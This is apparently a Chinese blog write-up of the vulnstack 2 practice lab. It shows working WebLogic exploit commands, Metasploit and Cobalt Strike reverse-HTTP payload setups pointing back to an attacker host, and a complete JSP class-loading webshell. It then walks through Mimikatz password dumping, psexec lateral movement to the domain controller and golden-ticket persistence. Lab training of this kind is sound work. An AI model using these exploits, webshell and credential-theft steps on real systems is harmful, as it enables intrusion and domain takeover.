• 红日靶机vulnstack第二关


    环境配置

    下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

    主机名字IP
    DC.de1ay.com10.10.10.10(内网)
    WEB.de1ay.com10.10.10.80(内网)/192.168.111.80(外网)
    PC.de1ay.com10.10.10.20(内网)/192.168.111.201(外网)
    攻击机kali192.168.1.129(外网)

    默认密码有:

    • de1ay:1qaz@WSX
    • de1ay\administrator:1qaz@WSX

    使用管理员账号登录WEB.de1ay.com,然后在以下的路径中开启图中的三个服务,开启web服务。

    image-20220616201451965

    然后需要关闭防火墙,我这里没有关闭的时候连ping都ping不通。

    外网

    信息收集

    使用nmap扫描192.168.111.0网段

    nmap -Pn 192.168.111.0/24
    
    • 1

    image-20220616204312680

    对上面收集到的信息进行集中

    IP端口
    192.168.111.8080、135、139、445、1433、3389、7001(weblogic)、49152、49153、49154
    192.168.111.201135、139、445、3389、49152、49153、49154、49155

    发现80主机存在80端口和7001端口,然后先对80进行访问,发现是一个空页面

    image-20220616205013337

    然后对7001端口进行访问,发现是一个404页面

    image-20220616205242220

    对80、7001端口进行目录扫描,因为这两个都是有可能是web端口。经过扫描后发现80没有什么有价值的,然后7001端口存在console端口。

    image-20220616205816764

    对console进行登录,发现是一个weblogic登录页面。

    image-20220616205856953

    使用weblogicScanner扫描工具(该工具比WeblogicScan工具所能扫描到的漏洞更多)进行扫描

    该扫描工具的下载地址:https://github.com/0xn0ne/weblogicScanner
    python3 ./ws.py -t 192.168.111.80 -o ./end(输出的文件夹)
    
    • 1
    • 2

    对输出的json文件放到JSON在线视图查看器进行查看,发现存在许多漏洞。

    image-20220616224210304

    除了使用上面的weblogic工具外,还可以使用一款集合了weblogic的集成工具进行漏洞的探测。

    下载地址:链接: https://pan.baidu.com/s/1Sm4c3pXjZP-_Rd5IfBbcCA?pwd=spg9 提取码: spg9 复制这段内容后打开百度网盘手机App,操作更方便哦
    
    • 1

    并且发现这里检测到的漏洞比上面扫描到的漏洞要少很多,只有一个CVE-2020-2551。

    image-20220616221401245

    漏洞整理

    整理下上面得到的三个洞的信息。

    漏洞编号漏洞信息
    CVE-2014-4210SSRF漏洞
    CVE-2017-3506weblogic wls-wsat组件远程命令执行
    CVE-2017-10271weblogic wls组件远程命令执行漏洞
    CVE-2018-3191weblogic远程代码执行漏洞
    CVE-2018-3245weblogic反序列化远程代码执行漏洞
    CVE-2019-2618weblogic任意文件上传漏洞
    CVE-2019-2725weblogic反序列化远程命令执行漏洞
    CVE-2019-2729weblogic反序列化漏洞命令执行漏洞,和CVE-2019-2725类似
    CVE-2019-2888weblogic未受权XXE漏洞
    CVE-2020-2551weblogic IIOP反序列化漏洞
    CVE-2020-2883weblogic反序列化
    CVE-2020-14882weblogic未授权命令执行漏洞

    外网漏洞利用

    一、CVE-2014-4210(SSRF漏洞,失败)

    1. 访问http://192.168.111.80:7001/uddiexplorer/,发现无需登录就可以查看uddiexplorer网页,有可能存在该CVE-2014-4210漏洞。

    image-20220616230532698

    1. 使用burpsuit进行抓包,发现存在一个疑似ssrf的payload:operator。

    image-20220616232118510

    image-20220616232208806

    1. 但是在实际使用burpsuit进行内网探测的时候,发现无论是存在的ip还是不存在的ip,他的返回结果都是一样的,无法判断内网中是否存在该ip,因此该漏洞无法利用。

      • 不存在该ip的返回页面
        image-20220617075815552
      • 存在该ip值时的返回页面
        image-20220617075905856
    2. 我这里本来想要验证是否存在该SSRF漏洞的,可是无论我访问的是dnslog还是ceye,都无法访问,因此无法验证是否存在该漏洞。

      image-20220617080835121

    二、CVE-2017-3506(weblogic wls-wsat组件远程命令执行,成功且可以拿下webshell)

    1. 访问http://192.168.111.80:7001/wls-wsat/CoordinatorPortType,出现下图所示的页面说明可能存在该CVE-2017-3506漏洞

    image-20220617133850491

    1. 使用WebLogic-XMLDecoder.jar工具进行检测,发现该漏洞存在,该工具的下载地址:https://github.com/Al1ex/CVE-2017-3506
    java -jar WebLogic-XMLDecoder.jar -u http://192.168.111.80:7001
    
    • 1

    image-20220617135205965

    1. 使用该工具上传木马
    java -jar WebLogic-XMLDecoder.jar -s http://192.168.111.80:7001 /wls-wsat/CoordinatorPortType shell.jsp
    
    • 1

    image-20220617135441346

    1. 访问生成木马的url,发现能够执行系统命令了。
    http://192.168.111.80:7001/wls-wsat/shell.jsp?password=secfree&command=whoami
    
    • 1

    image-20220617135545970

    三、CVE-2017-10271(weblogic wls组件远程命令执行漏洞,成功且可以拿下webshell)

    1. 访问该网页http://192.168.111.80:7001/wls-wsat/CoordinatorPortType,如果出现如图所示的页面就说明有可能存在该CVE-2017-10271漏洞。(该漏洞是在CVE-2017-3506打了补丁后绕过的一种方式)

    image-20220617142029639

    1. 直接使用工具,发现存在该漏洞,并且利用成功了。

    image-20220617142104000

    1. 使用MSF进行漏洞利用
    search CVE-2017-10271
    use 1
    set target Windows
    set lhost 192.168.111.128
    set lport 1111
    set rhosts 192.168.111.80
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    image-20220617214954800

    四、CVE-2018-3191(weblogic远程代码执行漏洞,失败)

    1. 使用工具检测,发现没有该漏洞。

    image-20220617143013897

    五、CVE-2018-3245(weblogic反序列化远程代码执行漏洞,失败)

    1. 使用工具检测,发现没有该漏洞。

    image-20220617143057037

    六、CVE-2019-2618(weblogic任意文件上传漏洞,成功且可以拿下webshell)

    1. 该漏洞需要登录后台之后才能上传,该靶场网页的默认密码的是weblogic/1qaz@WSX

    image-20220617143811237

    1. 使用工具进行验证,需要账号密码,下载地址是:https://github.com/jas502n/cve-2019-2618
    python2 ./cve-2019-2618.py http://192.168.111.80:7001 weblogic 1qaz@WSX
    
    • 1

    image-20220617150107221

    1. 访问生成后的url,http://192.168.111.80:7001/bea_wls_internal/shell.jsp,并且执行ipconfig命令,发现执行成功

    image-20220617150212187

    1. 根据该命令执行的窗口,我们可以写入一句话木马。通过上帝视角查看web机器的目录,发现shell.jsp的路径是C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war,这里需要注意下,不同的webshell管理工具,他们的连接木马是不一样的。(PS:本人浪费了一个多小时才注意到。。。,还需要注意的是echo中出现左右尖括号的时候,需要在尖括号前面添加^符号来进行转义处理,否者就会出错)
    echo ^<%!
        class U extends ClassLoader {
            U(ClassLoader c) {
                super(c);
            }
            public Class g(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
    
        public byte[] base64Decode(String str) throws Exception {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (Exception e) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        }
    %^>
    ^<%
        String cls = request.getParameter("passwd");
        if (cls != null) {
            new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
        }
    %^> > C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\cmd4.jsp
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    image-20220617163154542

    1. 蚁剑连接。

    image-20220617163218313

    七、CVE-2019-2725(weblogic反序列化远程命令执行漏洞,成功且可以拿下webshell)

    1. 使用工具检测,发现存在该漏洞

    image-20220617153815741

    八、CVE-2019-2729(weblogic反序列化漏洞命令执行漏洞,和CVE-2019-2725类似)

    1. 使用工具检测,发现存在该漏洞

    image-20220617155245500

    九、CVE-2019-2888(weblogic未受权XXE漏洞,失败)

    会用到的工具:

    • https://github.com/jas502n/CVE-2019-2888
    • https://github.com/TheTwitchy/xxer
    1. xxer开启监听
    python3 xxer.py -p 8989(端口) -H 192.168.111.128(xxer所在的ip地址)
    
    • 1

    image-20220617194532767

    1. 运行CVE-2019-2888
    python2 weblogic.py 192.168.111.80(weblogic的ip地址) 7001(weblogic的端口)
    
    • 1

    image-20220617194628927

    1. 查看xxer的信息,发现并没有返回任何信息,说明该漏洞利用失败

    image-20220617194804742

    十、CVE-2020-2551(weblogic IIOP反序列化漏洞,失败)

    1. 使用工具扫描,发现并没有该漏洞

    image-20220617200138661

    十一、CVE-2020-2883(weblogic反序列化)

    1. 挖个坑,看不懂该漏洞要如何去复现,以后学会了再回头搞。

    十二、CVE-2020-14882(weblogic未授权命令执行漏洞,失败)

    1. 使用工具进行检测,发现并没有漏洞,下载地址:https://github.com/GGyao/CVE-2020-14882_ALL
    python3 CVE-2020-14882_ALL.py -u http://192.168.111.80:7001 -c "whoami"
    
    • 1

    image-20220617202531309

    漏洞总结

    在这十二个漏洞中,能直接拿下webshell的有CVE-2017-3506、CVE-2017-10271、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729有这五个漏洞。下面就不演示如何webshell了,考虑到在实战中是没有上帝视角的,因此只考虑 CVE-2017-10271 ,而不考虑和第六个洞:CVE-2019-2618 类似的需要web目录的的情况。

    内网

    进程注入

    在拿到webshell后,第一步要查看进程列表,要将MSF的进程注入到explorer.exe中,因为该进程一般不会被关闭。

    image-20220617215944538

    使用migrate命令注入到explorer.exe进程中

    image-20220617220302066

    MSF和CS联动

    创建CS监听器,具体的配置如图所示

    image-20220617221840149

    use exploit/windows/local/payload_inject
    set payload windows/meterpreter/reverse_http
    set DisablePayloadHandler true
    set lhost 192.168.111.128
    set lport 9999
    set session 1
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    image-20220617222233496

    注入下进程,防止被杀掉

    inject 2240(注入的进程号) x64 msf-cs(监听器名字)
    
    • 1

    image-20220617222710734

    CS和MSF联动

    首先CS要生成一个外部的监听器(Foreign HTTP/HTTPS)

    image-20220618154631341

    MSF使用和刚生成监听器一样的监听模块

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_http或者是set payload windows/meterpreter/reverse_https
    set lhost 192.168.111.128
    set lport 9876
    
    • 1
    • 2
    • 3
    • 4

    然后在CS中新建会话,选择刚生成的监听器

    image-20220618155130153

    回到MSF中查看,发现联动成功

    image-20220618155221126

    信息收集

    1.查看杀软信息

    我这里使用梼杌插件查看,发现存在一个360和另外两个杀软。

    image-20220617223007131

    2.收集内外网信息

    首先是收集有多少个网段,这里发现有两个,一个是10.10.10.80,还有一个是192.168.111.80。

    image-20220617223942836

    收集存在的域
    shell net view /domain
    
    • 1
    • 2

    image-20220617224436906

    查看域管理员
    shell net group "domain admins" /domain
    
    • 1
    • 2

    image-20220617224614852

    查看主域控制器
    shell netdom query pdc
    
    • 1
    • 2

    image-20220617224741820

    查看域控
    shell net group "Domain Controllers" /domain
    
    • 1
    • 2

    image-20220617225701355

    查看SID
    shell whoami /all
    
    • 1
    • 2

    image-20220617225935282

    查看当前登录的域
    shell net config workstation
    
    • 1
    • 2

    image-20220617230035644

    还可以使用梼杌插件进行一键获取所有的信息

    image-20220617230542473

    使用梼杌插件中的查看所有用户的sid,具体操作是梼杌->信息收集->查看mstsc记录->查看所有用户的记录

    image-20220618180125408

    使用梼杌中的Mimikatz获取明文密码

    image-20220617231353932

    在CS中选择文件浏览,选择把nbtscan工具上传到靶机中,然后就可以在web机器中运行nbtscan工具了。
    shell C:\Windows\system32\nbtscan.exe 10.10.10.1/24
    
    • 1
    • 2

    image-20220617233509465

    使用MSF挂socks代理,进行内网的端口扫描

    use auxiliary/server/socks_proxy
    set srvhost 127.0.0.1
    set srvport 1080
    run
    
    vi /etc/proxychains.conf
    #socks 127.0.0.1 9050
    socks5 127.0.0.1 1080
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    image-20220618154303244

    使用nmap扫描,但是发现扫描的结果并不符合实际情况,他这里的扫描结果没有一个是开放的,这不符合实际情况。

    image-20220618163222097

    使用CS自带的扫描,具体的的操作是:视图->目标列表->目标列表中的主机右击选择扫描,选择所得到的会话,然后点击运行

    image-20220618171527932

    这里列举下其中的DC端口扫描的结果,查看具体的结果是右击选择服务,其余两台主机的操作一样

    image-20220618171732481

    横向移动

    psexec

    使用psexec进行横向移动,横向移动的前提是需要获取到NTLM值,然后点击视图->目标列表->DC右键->横向移动->psexec->选择其中的一个user、password、DE1AY,随便选择一个监听器和会话。

    image-20220618174729453

    拿下域控DC了

    image-20220618174751714

    同样的流程,我们可以如法炮制拿下PC机

    image-20220618174840932

    权限维持

    黄金票据

    黄金票据需要域成员名、域成员密码、域控地址(10.10.10.10)、域sid、krbtgt哈希值,其中krbtgt哈希值是要拿到域控之后在域控里面才能拿到的,因此黄金票据是只能在拿到域控之后的权限维持操作。

    首先在域控里面运行hashdump命令获取krbtgt的哈希值

    image-20220618183228141

    在DC右键生成黄金票据,输入所需要的数据。

    image-20220618183012662

    生成黄金票据成功

    image-20220618183405708

  • 相关阅读:
    【C#枚举 Enum】
    【代码精读】ATF的异常向量表
    记一次ubuntu系统libc.so.6库文件被误删的修复经历
    8.JWT认证
    麒麟KYLINOS中制作Ghost镜像文件
    线程池源码解析 3.excute() 方法
    Kafka Shell命令交互
    活字格性能优化技巧(2)-如何在大规模数据量的场景下提升数据访问效率
    java定义一个方法sum(),求1—n中所有能够被2或者3整除的数字之和,n由键盘输入。
    二叉树基础
  • 原文地址:https://blog.csdn.net/weixin_45715461/article/details/125350434